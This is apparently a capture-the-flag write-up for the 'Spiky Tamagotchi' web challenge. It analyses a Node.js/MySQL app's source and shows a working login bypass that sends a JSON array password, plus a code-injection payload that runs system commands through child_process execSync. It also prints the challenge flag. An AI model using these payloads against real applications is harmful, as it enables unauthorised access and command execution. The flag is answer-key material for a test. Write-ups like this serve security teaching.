Spiky Tamagotchi
7 minutes to read
We are given the source code of a Node.js web project using Express JS and MySQL.
Source code analysis
In the Dockerfile
an entrypoint.sh
script is run:
#!/bin/ash
# Secure entrypoint
chmod 600 /entrypoint.sh
# Initialize & Start MariaDB
mkdir -p /run/mysqld
chown -R mysql:mysql /run/mysqld
mysql_install_db --user=mysql --ldata=/var/lib/mysql
mysqld --user=mysql --console --skip-name-resolve --skip-networking=0 &
# Wait for mysql to start
while ! mysqladmin ping -h'localhost' --silent; do echo "mysqld is not yet alive" && sleep .2; done
# admin password
PASSWORD=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1)
# create database
mysql -u root << EOF
CREATE DATABASE spiky_tamagotchi;
CREATE TABLE spiky_tamagotchi.users (
id INT AUTO_INCREMENT NOT NULL,
username varchar(255) UNIQUE NOT NULL,
password varchar(255) NOT NULL,
PRIMARY KEY (id)
);
INSERT INTO spiky_tamagotchi.users VALUES
(1,'admin','${PASSWORD}');
GRANT ALL PRIVILEGES ON spiky_tamagotchi.* TO 'rh0x01'@'%' IDENTIFIED BY 'r4yh4nb34t5b1gm4c';
FLUSH PRIVILEGES;
EOF
# launch supervisord
/usr/bin/supervisord -c /etc/supervisord.conf
Here we see that the database contains a username called admin
and a random password.
There are functions called registerUser
and loginUser
in the source code (database.js
). Both of them use prepared statements, so SQL injection is not possible:
let mysql = require('mysql')
class Database {
constructor() {
this.connection = mysql.createConnection({
host: 'localhost',
user: 'rh0x01',
password: 'r4yh4nb34t5b1gm4c',
database: 'spiky_tamagotchi'
});
}
async registerUser(user, pass) {
return new Promise(async (resolve, reject) => {
let stmt = 'INSERT INTO users (username, password) VALUES (?, ?)';
this.connection.query(stmt, [user, pass], (err, result) => {
if(err)
reject(err)
resolve(result)
})
});
}
async loginUser(user, pass) {
return new Promise(async (resolve, reject) => {
let stmt = 'SELECT username FROM users WHERE username = ? AND password = ?';
let x = this.connection.query(stmt, [user, pass], (err, result) => {
if(err || result.length == 0)
reject(err)
resolve(result)
})
});
}
}
module.exports = Database;
Unfortunately, there is no way to register a new user using registerUser
:
const express = require('express')
const router = express.Router()
const JWTHelper = require('../helpers/JWTHelper')
const SpikyFactor = require('../helpers/SpikyFactor')
const AuthMiddleware = require('../middleware/AuthMiddleware')
const response = data => ({ message: data })
router.get('/', (req, res) => {
return res.render('index.html')
})
router.post('/api/login', async (req, res) => {
const { username, password } = req.body
if (username && password) {
return db
.loginUser(username, password)
.then(user => {
let token = JWTHelper.sign({ username: user[0].username })
res.cookie('session', token, { maxAge: 3600000 })
return res.send(response('User authenticated successfully!'))
})
.catch(() => res.status(403).send(response('Invalid username or password!')))
}
return res.status(500).send(response('Missing required parameters!'))
})
router.get('/interface', AuthMiddleware, async (req, res) => {
return res.render('interface.html')
})
router.post('/api/activity', AuthMiddleware, async (req, res) => {
const { activity, health, weight, happiness } = req.body
if (activity && health && weight && happiness) {
return SpikyFactor.calculate(activity, parseInt(health), parseInt(weight), parseInt(happiness))
.then(status => {
return res.json(status)
})
.catch(e => {
res.send(response('Something went wrong!'))
})
}
return res.send(response('Missing required parameters!'))
})
router.get('/logout', (req, res) => {
res.clearCookie('session')
return res.redirect('/')
})
module.exports = database => {
db = database
return router
}
Authentication bypass
Therefore, we must bypass authentication in some way. Here we have helpers/JWTHelper.js
, which is the way the server handles authentication:
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const APP_SECRET = crypto.randomBytes(69).toString('hex');
module.exports = {
sign(data) {
data = Object.assign(data);
return (jwt.sign(data, APP_SECRET, { algorithm:'HS256' }))
},
async verify(token) {
return (jwt.verify(token, APP_SECRET, { algorithm:'HS256' }));
}
}
It is weird to see Object.assign(data)
, which might recall to Prototype Pollution, but it is not exploitable.
Moreover, there is another function at helpers/SpikyFactor.js
:
const calculate = (activity, health, weight, happiness) => {
return new Promise(async (resolve, reject) => {
try {
// devine formula :100:
let res = `with(a='${activity}', hp=${health}, w=${weight}, hs=${happiness}) {
if (a == 'feed') { hp += 1; w += 5; hs += 3; } if (a == 'play') { w -= 5; hp += 2; hs += 3; } if (a == 'sleep') { hp += 2; w += 3; hs += 3; } if ((a == 'feed' || a == 'sleep' ) && w > 70) { hp -= 10; hs -= 10; } else if ((a == 'feed' || a == 'sleep' ) && w < 40) { hp += 10; hs += 5; } else if (a == 'play' && w < 40) { hp -= 10; hs -= 10; } else if ( hs > 70 && (hp < 40 || w < 30)) { hs -= 10; } if ( hs > 70 ) { m = 'kissy' } else if ( hs < 40 ) { m = 'cry' } else { m = 'awkward'; } if ( hs > 100) { hs = 100; } if ( hs < 5) { hs = 5; } if ( hp < 5) { hp = 5; } if ( hp > 100) { hp = 100; } if (w < 10) { w = 10 } return {m, hp, w, hs}
}`;
quickMaths = new Function(res);
const {m, hp, w, hs} = quickMaths();
resolve({mood: m, health: hp, weight: w, happiness: hs})
}
catch (e) {
reject(e);
}
});
}
module.exports = {
calculate
}
This is only accessible once we are authenticated, but we can see the vulnerability. The problem is that the variable called res
contains a string that interpolates some variables that we can control. This string is used to create a JavaScript function at runtime, so we can modify a bit of the function code in order to execute a system command and read the flag.
In order to bypass authentication, we are going to add some console.log
sentences to analyze what’s happening:
console.log(req.body, username && password)
console.log(x.sql)
This is the login page:
And we can capture the request with Burp Suite:
And see the output of the console.log
sentences:
{ username: 'admin', password: 'asdf' } asdf
SELECT username FROM users WHERE username = 'admin' AND password = 'asdf'
Now we can test this JSON document (looking for a kind of Type Juggling vulnerability):
{"username":"admin","password":true}
{ username: 'admin', password: true } true
SELECT username FROM users WHERE username = 'admin' AND password = true
Next, this one:
{"username":"admin","password":1}
{ username: 'admin', password: 1 } 1
SELECT username FROM users WHERE username = 'admin' AND password = 1
Another one:
{"username":"admin","password":[]}
{ username: 'admin', password: [] } []
SELECT username FROM users WHERE username = 'admin' AND password =
And eventually this one:
{"username":"admin","password":[0]}
{ username: 'admin', password: [ 0 ] } [ 0 ]
SELECT username FROM users WHERE username = 'admin' AND password = 0
Surprisingly we have bypassed authentication and thus we are authenticated:
Now we have this website:
Next, we capture another request with Burp Suite:
JavaScript code injection
And use the following payload to inject JavaScript code and execute a system command to read the flag (adapted from a Server-Side Template Injection payload in Less.js from PayloadsAllTheThings):
', hp=60, w=42, hs=50) { hp=global.process.mainModule.require('child_process').execSync('cat /flag.txt').toString(); return {a, hp, w, hs} //
This payload works because the JavaScript function that will be created is this one:
with(a='', hp=60, w=42, hs=50) { hp=global.process.mainModule.require('child_process').execSync('cat /flag.txt').toString(); return {a, hp, w, hs} //', hp=52, w=37, hs=43) {
And we get the flag locally:
Flag
If we perform all the steps in the remote instance, we will get the flag:
HTB{s0rry_1m_n07_1nt0_typ3_ch3ck5}
Curiosity
Just as a curiosity, we can see that the authentication bypass works in MySQL querying for password = 0
despite the fact that password
is of type varchar
:
$ docker exec -it d8ab08dc320a mysql
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 7
Server version: 10.6.7-MariaDB MariaDB Server
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> use spiky_tamagotchi;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [spiky_tamagotchi]> select * from users where username = 'admin' and password = 0;
+----+----------+------------------+
| id | username | password |
+----+----------+------------------+
| 1 | admin | LrQ0SQr9kjcs0iBA |
+----+----------+------------------+
1 row in set, 1 warning (0.002 sec)
MariaDB [spiky_tamagotchi]> exit
Bye